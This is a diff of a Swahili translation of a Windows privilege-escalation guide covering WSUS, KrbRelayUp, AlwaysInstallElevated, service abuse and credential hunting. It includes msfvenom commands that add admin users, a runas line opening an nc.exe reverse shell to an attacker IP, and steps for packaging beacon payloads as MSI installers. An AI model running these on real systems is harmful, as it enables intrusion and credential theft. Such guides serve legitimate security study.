{{#endfile}}
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
[**Soma ripoti kamili hapa**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
Kimsingi, hii ndiyo kasoro ambayo hitilafu hii inatumia:
|
||||
Kimsingi, hii ndiyo kasoro ambayo bug hii inatumia:
|
||||
|
||||
> Ikiwa tuna uwezo wa kubadilisha proxy yetu ya mtumiaji wa ndani, na Windows Updates inatumia proxy iliyowekwa katika mipangilio ya Internet Explorer, basi tuna uwezo wa kuendesha [PyWSUS](https://github.com/GoSecure/pywsus) kwa ndani ili kukamata trafiki yetu wenyewe na kuendesha msimbo kama mtumiaji aliyeinuliwa kwenye mali yetu.
|
||||
> Ikiwa tuna uwezo wa kubadilisha proxy yetu ya mtumiaji wa ndani, na Windows Updates inatumia proxy iliyowekwa katika mipangilio ya Internet Explorer, basi tuna uwezo wa kuendesha [PyWSUS](https://github.com/GoSecure/pywsus) kwa ndani ili kukamata trafiki yetu wenyewe na kuendesha msimbo kama mtumiaji aliye na mamlaka kwenye mali yetu.
|
||||
>
|
||||
> Zaidi ya hayo, kwa kuwa huduma ya WSUS inatumia mipangilio ya mtumiaji wa sasa, pia itatumia duka lake la vyeti. Ikiwa tutaunda cheti kilichojisaini wenyewe kwa jina la mwenyeji wa WSUS na kuongeza cheti hiki kwenye duka la vyeti la mtumiaji wa sasa, tutakuwa na uwezo wa kukamata trafiki ya WSUS ya HTTP na HTTPS. WSUS haitumii mitindo kama HSTS kutekeleza uthibitisho wa aina ya kuaminiwa kwa matumizi ya kwanza kwenye cheti. Ikiwa cheti kilichowasilishwa kinatambuliwa na mtumiaji na kina jina sahihi la mwenyeji, kitakubaliwa na huduma.
|
||||
> Zaidi ya hayo, kwa kuwa huduma ya WSUS inatumia mipangilio ya mtumiaji wa sasa, pia itatumia duka lake la vyeti. Ikiwa tutaunda cheti kilichojisaini kwa jina la mwenyeji wa WSUS na kuongeza cheti hiki kwenye duka la vyeti la mtumiaji wa sasa, tutakuwa na uwezo wa kukamata trafiki ya WSUS ya HTTP na HTTPS. WSUS haitumii mitindo kama HSTS kutekeleza uthibitisho wa aina ya kuaminiwa kwa matumizi ya kwanza kwenye cheti. Ikiwa cheti kilichowasilishwa kinatambuliwa na mtumiaji na kina jina sahihi la mwenyeji, kitakubaliwa na huduma.
|
||||
|
||||
Unaweza kutumia udhaifu huu kwa kutumia zana [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (mara tu itakapokuwa huru).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
Udhaifu wa **kuinua mamlaka ya ndani** upo katika mazingira ya **domaine** ya Windows chini ya hali maalum. Hali hizi ni pamoja na mazingira ambapo **saini ya LDAP haitekelezwi,** watumiaji wana haki za kujitengenezea zinazowawezesha kuunda **Resource-Based Constrained Delegation (RBCD),** na uwezo wa watumiaji kuunda kompyuta ndani ya domaine. Ni muhimu kutambua kuwa **masharti haya** yanatimizwa kwa kutumia **mipangilio ya kawaida**.
|
||||
Udhaifu wa **kuinua mamlaka ya ndani** upo katika mazingira ya **domaine** ya Windows chini ya hali maalum. Hali hizi ni pamoja na mazingira ambapo **LDAP signing haitekelezwi,** watumiaji wana haki za kujitengenezea zinazowawezesha kuunda **Resource-Based Constrained Delegation (RBCD),** na uwezo wa watumiaji kuunda kompyuta ndani ya domaine. Ni muhimu kutambua kuwa **masharti haya** yanatimizwa kwa kutumia **mipangilio ya kawaida**.
|
||||
|
||||
Pata **udhaifu katika** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
Pata **exploit katika** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
Kwa maelezo zaidi kuhusu mtiririko wa shambulio angalia [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
|
||||
|
||||
@ -204,11 +206,11 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle
|
||||
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
|
||||
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
|
||||
```
|
||||
Ikiwa una kikao cha meterpreter unaweza kujiendesha mbinu hii kwa kutumia moduli **`exploit/windows/local/always_install_elevated`**
|
||||
Ikiwa una kikao cha meterpreter unaweza kujiendesha kiotomatiki mbinu hii ukitumia moduli **`exploit/windows/local/always_install_elevated`**
|
||||
|
||||
### PowerUP
|
||||
|
||||
Tumia amri `Write-UserAddMSI` kutoka power-up kuunda ndani ya saraka ya sasa MSI binary ya Windows ili kupandisha mamlaka. Skripti hii inaandika msanidi wa MSI ulioandaliwa mapema ambao unahitaji kuongeza mtumiaji/kikundi (hivyo utahitaji ufikiaji wa GIU):
|
||||
Tumia amri `Write-UserAddMSI` kutoka power-up kuunda ndani ya saraka ya sasa MSI binary ya Windows ili kupandisha haki. Skripti hii inaandika msanidi wa MSI ulioandaliwa mapema ambao unahitaji kuongeza mtumiaji/kikundi (hivyo utahitaji ufikiaji wa GIU):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -216,7 +218,7 @@ Just execute the created binary to escalate privileges.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
Soma mafunzo haya ili kujifunza jinsi ya kuunda MSI wrapper ukitumia zana hizi. Kumbuka kwamba unaweza kufunga faili ya "**.bat**" ikiwa unataka **tu** **kutekeleza** **mistari ya amri**.
|
||||
Soma hii tutorial ili kujifunza jinsi ya kuunda MSI wrapper ukitumia zana hizi. Kumbuka kwamba unaweza kufunga faili ya "**.bat**" ikiwa unataka **tu** **kutekeleza** **mistari ya amri**.
|
||||
|
||||
{{#ref}}
|
||||
msi-wrapper.md
|
||||
@ -231,7 +233,7 @@ create-msi-with-wix.md
|
||||
### Create MSI with Visual Studio
|
||||
|
||||
- **Zalisha** na Cobalt Strike au Metasploit **payload mpya ya Windows EXE TCP** katika `C:\privesc\beacon.exe`
|
||||
- Fungua **Visual Studio**, chagua **Create a new project** na andika "installer" kwenye kisanduku cha utafutaji. Chagua mradi wa **Setup Wizard** na bonyeza **Next**.
|
||||
- Fungua **Visual Studio**, chagua **Create a new project** na andika "installer" katika kisanduku cha utafutaji. Chagua mradi wa **Setup Wizard** na bonyeza **Next**.
|
||||
- Toa mradi jina, kama **AlwaysPrivesc**, tumia **`C:\privesc`** kwa eneo, chagua **weka suluhisho na mradi katika saraka moja**, na bonyeza **Create**.
|
||||
- Endelea kubonyeza **Next** hadi ufikie hatua ya 3 ya 4 (chagua faili za kujumuisha). Bonyeza **Add** na chagua payload ya Beacon uliyotengeneza hivi karibuni. Kisha bonyeza **Finish**.
|
||||
- Taja mradi wa **AlwaysPrivesc** katika **Solution Explorer** na katika **Properties**, badilisha **TargetPlatform** kutoka **x86** hadi **x64**.
|
||||
@ -267,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** imeundwa kwa ajili ya **usimamizi wa nywila za Msimamizi wa ndani**, kuhakikisha kwamba kila nywila ni **ya kipekee, iliyopangwa kwa nasibu, na inasasishwa mara kwa mara** kwenye kompyuta zilizounganishwa na eneo. Nywila hizi zinahifadhiwa kwa usalama ndani ya Active Directory na zinaweza kufikiwa tu na watumiaji ambao wamepewa ruhusa ya kutosha kupitia ACLs, kuwapa uwezo wa kuona nywila za msimamizi wa ndani ikiwa wameidhinishwa.
|
||||
**LAPS** imeundwa kwa ajili ya **usimamizi wa nywila za Msimamizi wa ndani**, kuhakikisha kwamba kila nywila ni **ya kipekee, iliyopangwa kwa nasibu, na inasasishwa mara kwa mara** kwenye kompyuta zilizounganishwa kwenye eneo. Nywila hizi zinahifadhiwa kwa usalama ndani ya Active Directory na zinaweza kufikiwa tu na watumiaji ambao wamepewa ruhusa ya kutosha kupitia ACLs, kuwapa uwezo wa kuona nywila za msimamizi wa ndani ikiwa wameidhinishwa.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -275,14 +277,14 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
|
||||
### WDigest
|
||||
|
||||
Ikiwa inafanya kazi, **nywila za maandiko wazi zinahifadhiwa katika LSASS** (Local Security Authority Subsystem Service).\
|
||||
[**Maelezo zaidi kuhusu WDigest katika ukurasa huu**](../stealing-credentials/credentials-protections.md#wdigest).
|
||||
Ikiwa inafanya kazi, **nywila za maandiko wazi zinahifadhiwa katika LSASS** (Huduma ya Mfumo wa Mamlaka ya Usalama wa Mitaa).\
|
||||
[**Maelezo zaidi kuhusu WDigest kwenye ukurasa huu**](../stealing-credentials/credentials-protections.md#wdigest).
|
||||
```bash
|
||||
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
|
||||
```
|
||||
### LSA Protection
|
||||
|
||||
Kuanzia na **Windows 8.1**, Microsoft ilianzisha ulinzi ulioimarishwa kwa Mamlaka ya Usalama wa Mitaa (LSA) ili **kuzuia** juhudi za michakato isiyoaminika **kusoma kumbukumbu zake** au kuingiza msimbo, hivyo kuimarisha usalama wa mfumo.\
|
||||
Kuanzia na **Windows 8.1**, Microsoft ilianzisha ulinzi ulioimarishwa kwa Mamlaka ya Usalama wa Mitaa (LSA) ili **kuzuia** juhudi za michakato isiyoaminika **kusoma kumbukumbu yake** au kuingiza msimbo, ikilinda zaidi mfumo.\
|
||||
[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
@ -295,8 +297,8 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
### Cached Credentials
|
||||
|
||||
**Akikodi za kikoa** zinathibitishwa na **Mamlaka ya Usalama wa Mitaa** (LSA) na kutumiwa na vipengele vya mfumo wa uendeshaji. Wakati data za kuingia za mtumiaji zinathibitishwa na kifurushi cha usalama kilichosajiliwa, kawaida hukuzwa akikodi za kikoa kwa mtumiaji.\
|
||||
[**Maelezo zaidi kuhusu Akikodi za Cached hapa**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
**Akikazi za kikoa** zinathibitishwa na **Mamlaka ya Usalama wa Mitaa** (LSA) na kutumiwa na vipengele vya mfumo wa uendeshaji. Wakati data za kuingia za mtumiaji zinathibitishwa na kifurushi cha usalama kilichosajiliwa, kawaida huanzishwa akikazi za kikoa kwa mtumiaji.\
|
||||
[**Maelezo zaidi kuhusu Akikazi za Kikoa hapa**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
@ -319,17 +321,17 @@ Get-LocalUser | ft Name,Enabled,LastLogon
|
||||
Get-ChildItem C:\Users -Force | select Name
|
||||
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||||
```
|
||||
### Vikundi vya Kipekee
|
||||
### Vikundi vya Privileged
|
||||
|
||||
Ikiwa wewe **ni mwanachama wa kundi lolote la kipekee unaweza kuwa na uwezo wa kupandisha hadhi**. Jifunze kuhusu vikundi vya kipekee na jinsi ya kuvunja sheria zao ili kupandisha hadhi hapa:
|
||||
Ikiwa wewe **ni mwanachama wa kundi lolote la privileged unaweza kuwa na uwezo wa kupandisha mamlaka**. Jifunze kuhusu vikundi vya privileged na jinsi ya kuvunja sheria zao ili kupandisha mamlaka hapa:
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### Manipulering ya Token
|
||||
### Manipulation ya Token
|
||||
|
||||
**Jifunze zaidi** kuhusu nini **token** ni kwenye ukurasa huu: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
**Jifunze zaidi** kuhusu nini maana ya **token** katika ukurasa huu: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
Angalia ukurasa ufuatao ili **ujifunze kuhusu token za kuvutia** na jinsi ya kuzitumia vibaya:
|
||||
|
||||
{{#ref}}
|
||||
@ -359,7 +361,7 @@ powershell -command "Get-Clipboard"
|
||||
### Ruhusa za Faili na Folda
|
||||
|
||||
Kwanza kabisa, orodhesha mchakato **angalia nywila ndani ya mstari wa amri wa mchakato**.\
|
||||
Angalia kama unaweza **kufuta baadhi ya binary inayokimbia** au kama una ruhusa za kuandika kwenye folda ya binary ili kutumia uwezekano wa [**DLL Hijacking attacks**](dll-hijacking/index.html):
|
||||
Angalia kama unaweza **kufuta baadhi ya binary inayokimbia** au kama una ruhusa za kuandika kwenye folda ya binary ili kutumia [**shambulio la DLL Hijacking**](dll-hijacking/index.html):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -391,13 +393,13 @@ todos %username%" && echo.
|
||||
```
|
||||
### Memory Password mining
|
||||
|
||||
Unaweza kuunda dump ya kumbukumbu ya mchakato unaoendesha kwa kutumia **procdump** kutoka sysinternals. Huduma kama FTP zina **akili wazi katika kumbukumbu**, jaribu kutupa kumbukumbu na kusoma akili hizo.
|
||||
Unaweza kuunda dump ya kumbukumbu ya mchakato unaoendesha ukitumia **procdump** kutoka sysinternals. Huduma kama FTP zina **akili wazi katika kumbukumbu**, jaribu kutupa kumbukumbu na kusoma akili hizo.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
### Insecure GUI apps
|
||||
|
||||
**Programu zinazotumia SYSTEM zinaweza kumruhusu mtumiaji kuzindua CMD, au kuvinjari saraka.**
|
||||
**Programu zinazotembea kama SYSTEM zinaweza kumruhusu mtumiaji kuzindua CMD, au kuvinjari saraka.**
|
||||
|
||||
Mfano: "Windows Help and Support" (Windows + F1), tafuta "command prompt", bonyeza "Click to open Command Prompt"
|
||||
|
||||
@ -416,7 +418,7 @@ Unaweza kutumia **sc** kupata taarifa za huduma
|
||||
```bash
|
||||
sc qc <service_name>
|
||||
```
|
||||
Inashauriwa kuwa na binary **accesschk** kutoka _Sysinternals_ ili kuangalia kiwango cha ruhusa kinachohitajika kwa kila huduma.
|
||||
Inapendekezwa kuwa na binary **accesschk** kutoka _Sysinternals_ ili kuangalia kiwango cha ruhusa kinachohitajika kwa kila huduma.
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
@ -441,7 +443,7 @@ Unaweza kuifanya iweze kutumia
|
||||
sc config SSDPSRV start= demand
|
||||
sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||||
```
|
||||
**Chukua katika akaunti kwamba huduma ya upnphost inategemea SSDPSRV ili kufanya kazi (kwa XP SP1)**
|
||||
**Kumbuka kwamba huduma ya upnphost inategemea SSDPSRV ili kufanya kazi (kwa XP SP1)**
|
||||
|
||||
**Njia nyingine ya kutatua** tatizo hili ni kukimbia:
|
||||
```
|
||||
@ -507,7 +509,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t RE
|
||||
```
|
||||
### Huduma za rejista Ruhusa za AppendData/AddSubdirectory
|
||||
|
||||
Ikiwa una ruhusa hii juu ya rejista hii inamaanisha **unaweza kuunda sub-rejista kutoka hii**. Katika kesi ya huduma za Windows hii ni **ya kutosha kutekeleza msimbo wowote:**
|
||||
Ikiwa una ruhusa hii juu ya rejista hii inamaanisha **unaweza kuunda sub registries kutoka hii**. Katika kesi ya huduma za Windows hii ni **ya kutosha kutekeleza msimbo wowote:**
|
||||
|
||||
{{#ref}}
|
||||
appenddata-addsubdirectory-permission-over-service-registry.md
|
||||
@ -547,15 +549,15 @@ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Whe
|
||||
```bash
|
||||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||||
```
|
||||
### Recovery Actions
|
||||
### Hatua za Kuokoa
|
||||
|
||||
Windows inaruhusu watumiaji kubaini hatua za kuchukuliwa ikiwa huduma itashindwa. Kipengele hiki kinaweza kuwekewa mipangilio kuashiria faili ya binary. Ikiwa faili hii ya binary inaweza kubadilishwa, kupandisha hadhi kunaweza kuwa na uwezekano. Maelezo zaidi yanaweza kupatikana katika [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
Windows inaruhusu watumiaji kubaini hatua zitakazochukuliwa ikiwa huduma itashindwa. Kipengele hiki kinaweza kuwekewa mipangilio ili kiashirie faili la binary. Ikiwa faili hili la binary linaweza kubadilishwa, kupandisha hadhi kunaweza kuwa na uwezekano. Maelezo zaidi yanaweza kupatikana katika [nyaraka rasmi](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
|
||||
## Applications
|
||||
## Maombi
|
||||
|
||||
### Installed Applications
|
||||
### Maombi Yaliyosakinishwa
|
||||
|
||||
Angalia **permissions of the binaries** (labda unaweza kubadilisha moja na kupandisha hadhi) na **folders** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
Angalia **idhini za binaries** (labda unaweza kubadilisha moja na kupandisha hadhi) na za **maktaba** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -594,7 +596,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
### Run at startup
|
||||
|
||||
**Angalia kama unaweza kubadilisha baadhi ya registry au binary ambayo itatekelezwa na mtumiaji tofauti.**\
|
||||
**Soma** **ukurasa ufuatao** ili kujifunza zaidi kuhusu maeneo ya **autoruns ya kuvutia ili kupandisha mamlaka**:
|
||||
**Soma** **ukurasa ufuatao** kujifunza zaidi kuhusu maeneo ya **autoruns ya kuvutia ili kupandisha mamlaka**:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-with-autorun-binaries.md
|
||||
@ -602,7 +604,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### Drivers
|
||||
|
||||
Tafuta madereva ya **third party ya ajabu/yenye udhaifu**.
|
||||
Tafuta madereva **ya tatu ya ajabu/hatari** zinazoweza kuwa na udhaifu.
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -634,7 +636,7 @@ net share #Check current shares
|
||||
```
|
||||
### hosts file
|
||||
|
||||
Angalia kompyuta nyingine zinazojulikana zilizowekwa kwa nguvu kwenye faili la hosts
|
||||
Angalia kwa kompyuta nyingine zinazojulikana zilizowekwa kwa nguvu kwenye faili la hosts
|
||||
```
|
||||
type C:\Windows\System32\drivers\etc\hosts
|
||||
```
|
||||
@ -650,7 +652,7 @@ Angalia **huduma zilizozuiliwa** kutoka nje
|
||||
```bash
|
||||
netstat -ano #Opened ports?
|
||||
```
|
||||
### Msingi wa Njia
|
||||
### Jedwali la Mwelekeo
|
||||
```
|
||||
route print
|
||||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||||
@ -705,7 +707,7 @@ Windows Vault inahifadhi akauti za mtumiaji kwa seva, tovuti na programu nyingin
|
||||
|
||||
Windows Vault inahifadhi akauti ambazo Windows inaweza kuingia kwa watumiaji kiotomatiki, ambayo inamaanisha kwamba **programu yoyote ya Windows inayohitaji akauti ili kufikia rasilimali** (seva au tovuti) **inaweza kutumia Credential Manager** & Windows Vault na kutumia akauti zilizotolewa badala ya watumiaji kuingiza jina la mtumiaji na nenosiri kila wakati.
|
||||
|
||||
Ila programu zinaposhirikiana na Credential Manager, sidhani kama inawezekana kwao kutumia akauti za rasilimali fulani. Hivyo, ikiwa programu yako inataka kutumia vault, inapaswa kwa namna fulani **kuwasiliana na meneja wa akauti na kuomba akauti za rasilimali hiyo** kutoka kwenye vault ya uhifadhi wa kawaida.
|
||||
Ili programu ziweze kuingiliana na Credential Manager, sidhani kama inawezekana kwao kutumia akauti za rasilimali fulani. Hivyo, ikiwa programu yako inataka kutumia vault, inapaswa kwa namna fulani **kuwasiliana na meneja wa akauti na kuomba akauti za rasilimali hiyo** kutoka kwenye vault ya uhifadhi wa kawaida.
|
||||
|
||||
Tumia `cmdkey` kuorodhesha akauti zilizohifadhiwa kwenye mashine.
|
||||
```bash
|
||||
@ -719,7 +721,7 @@ Kisha unaweza kutumia `runas` na chaguo la `/savecred` ili kutumia akidi zilizoh
|
||||
```bash
|
||||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||||
```
|
||||
Kutumia `runas` na seti ya akidi iliyotolewa.
|
||||
Kutumia `runas` na seti ya akidi zilizotolewa.
|
||||
```bash
|
||||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||||
```
|
||||
@ -727,11 +729,11 @@ Kumbuka kwamba mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/u
|
||||
|
||||
### DPAPI
|
||||
|
||||
**Data Protection API (DPAPI)** inatoa njia ya usimbaji wa data wa simetriki, hasa inayotumika ndani ya mfumo wa uendeshaji wa Windows kwa usimbaji wa funguo za kibinafsi zisizo za simetriki. Usimbaji huu unatumia siri ya mtumiaji au mfumo kuchangia kwa kiasi kikubwa katika entropy.
|
||||
**Data Protection API (DPAPI)** inatoa njia ya usimbaji wa data wa simetriki, hasa inayotumika ndani ya mfumo wa uendeshaji wa Windows kwa usimbaji wa funguo za binafsi zisizo na simetriki. Usimbaji huu unatumia siri ya mtumiaji au mfumo kuchangia kwa kiasi kikubwa katika entropy.
|
||||
|
||||
**DPAPI inaruhusu usimbaji wa funguo kupitia funguo za simetriki ambazo zinatokana na siri za kuingia za mtumiaji**. Katika hali zinazohusisha usimbaji wa mfumo, inatumia siri za uthibitishaji wa kikoa cha mfumo.
|
||||
|
||||
Funguo za RSA za mtumiaji zilizohifadhiwa, kwa kutumia DPAPI, zinahifadhiwa katika saraka ya `%APPDATA%\Microsoft\Protect\{SID}`, ambapo `{SID}` inawakilisha [Identifier ya Usalama](https://en.wikipedia.org/wiki/Security_Identifier) wa mtumiaji. **Funguo ya DPAPI, iliyoko pamoja na funguo kuu inayolinda funguo za kibinafsi za mtumiaji katika faili hiyo hiyo**, kwa kawaida ina bytes 64 za data za nasibu. (Ni muhimu kutambua kwamba ufikiaji wa saraka hii umewekwa vizuizi, kuzuia orodha ya yaliyomo kupitia amri ya `dir` katika CMD, ingawa inaweza kuorodheshwa kupitia PowerShell).
|
||||
Funguo za RSA za mtumiaji zilizohifadhiwa, kwa kutumia DPAPI, zinahifadhiwa katika saraka ya `%APPDATA%\Microsoft\Protect\{SID}`, ambapo `{SID}` inawakilisha [Identifier ya Usalama](https://en.wikipedia.org/wiki/Security_Identifier) wa mtumiaji. **Funguo ya DPAPI, iliyoko pamoja na funguo kuu inayolinda funguo za binafsi za mtumiaji katika faili hiyo hiyo**, kwa kawaida ina bytes 64 za data za nasibu. (Ni muhimu kutambua kwamba ufikiaji wa saraka hii umepunguzika, kuzuia orodha ya yaliyomo kupitia amri ya `dir` katika CMD, ingawa inaweza kuorodheshwa kupitia PowerShell).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -746,7 +748,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
Unaweza kutumia **mimikatz module** `dpapi::cred` pamoja na `/masterkey` inayofaa ili kufungua.\
|
||||
Unaweza **kuchota DPAPI nyingi** **masterkeys** kutoka **kumbukumbu** kwa kutumia `sekurlsa::dpapi` module (ikiwa wewe ni root).
|
||||
Unaweza **kuchota DPAPI nyingi** **masterkeys** kutoka **kumbukumbu** kwa kutumia moduli `sekurlsa::dpapi` (ikiwa wewe ni root).
|
||||
|
||||
{{#ref}}
|
||||
dpapi-extracting-passwords.md
|
||||
@ -756,7 +758,7 @@ dpapi-extracting-passwords.md
|
||||
|
||||
**PowerShell credentials** mara nyingi hutumiwa kwa ajili ya **scripting** na kazi za automatisering kama njia ya kuhifadhi akiba za siri zilizofichwa kwa urahisi. Akiba hizo zinalindwa kwa kutumia **DPAPI**, ambayo kwa kawaida inamaanisha zinaweza kufunguliwa tu na mtumiaji yule yule kwenye kompyuta ile ile walipoundwa.
|
||||
|
||||
Ili **kufungua** akiba ya PS kutoka kwenye faili inayoiweka unaweza kufanya:
|
||||
Ili **kufungua** akiba za PS kutoka kwenye faili inayozihusisha unaweza kufanya:
|
||||
```powershell
|
||||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
||||
PS C:\> $credential.GetNetworkCredential().username
|
||||
@ -791,11 +793,11 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||
```
|
||||
Tumia moduli ya **Mimikatz** `dpapi::rdg` pamoja na `/masterkey` inayofaa ili **kufungua faili zozote za .rdg**\
|
||||
Unaweza **kuchota funguo nyingi za DPAPI** kutoka kwenye kumbukumbu kwa kutumia moduli ya Mimikatz `sekurlsa::dpapi`
|
||||
Unaweza **kuchota masterkeys nyingi za DPAPI** kutoka kwenye kumbukumbu kwa kutumia moduli ya Mimikatz `sekurlsa::dpapi`
|
||||
|
||||
### Sticky Notes
|
||||
|
||||
Watu mara nyingi hutumia programu ya StickyNotes kwenye vituo vya Windows kuhifadhi **nywila** na taarifa nyingine, bila kujua ni faili ya database. Faili hii iko katika `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` na daima inafaa kutafutwa na kuchunguzwa.
|
||||
Watu mara nyingi hutumia programu ya StickyNotes kwenye vituo vya kazi vya Windows kuhifadhi **nywila** na taarifa nyingine, bila kujua ni faili ya database. Faili hii iko katika `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` na daima inafaa kutafutwa na kuchunguzwa.
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
@ -890,9 +892,9 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
|
||||
if ($result) { $result }
|
||||
else { Write "Not Installed." }
|
||||
```
|
||||
## Faili na Usajili (Akida)
|
||||
## Files and Registry (Credentials)
|
||||
|
||||
### Akida za Putty
|
||||
### Putty Creds
|
||||
```bash
|
||||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||||
```
|
||||
@ -906,7 +908,7 @@ SSH private keys zinaweza kuhifadhiwa ndani ya funguo za registry `HKCU\Software
|
||||
```bash
|
||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
```
|
||||
Ikiwa utapata ingizo lolote ndani ya njia hiyo, huenda likawa funguo ya SSH iliyohifadhiwa. Inahifadhiwa kwa usimbuaji lakini inaweza kufichuliwa kwa urahisi kwa kutumia [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Ikiwa utapata ingizo lolote ndani ya njia hiyo, huenda likawa funguo ya SSH iliyohifadhiwa. Inahifadhiwa kwa njia ya usimbaji lakini inaweza kufichuliwa kwa urahisi kwa kutumia [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Taarifa zaidi kuhusu mbinu hii hapa: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
Ikiwa huduma ya `ssh-agent` haiko inafanya kazi na unataka ianze kiotomatiki wakati wa kuanzisha, endesha:
|
||||
@ -960,7 +962,7 @@ Unaweza pia kutafuta faili hizi kwa kutumia **metasploit**: _post/windows/gather
|
||||
%SYSTEMROOT%\System32\config\SYSTEM
|
||||
%SYSTEMROOT%\System32\config\RegBack\system
|
||||
```
|
||||
### Hati za Wingu
|
||||
### Cloud Credentials
|
||||
```bash
|
||||
#From user home
|
||||
.aws\credentials
|
||||
@ -978,7 +980,7 @@ Tafuta faili inayoitwa **SiteList.xml**
|
||||
|
||||
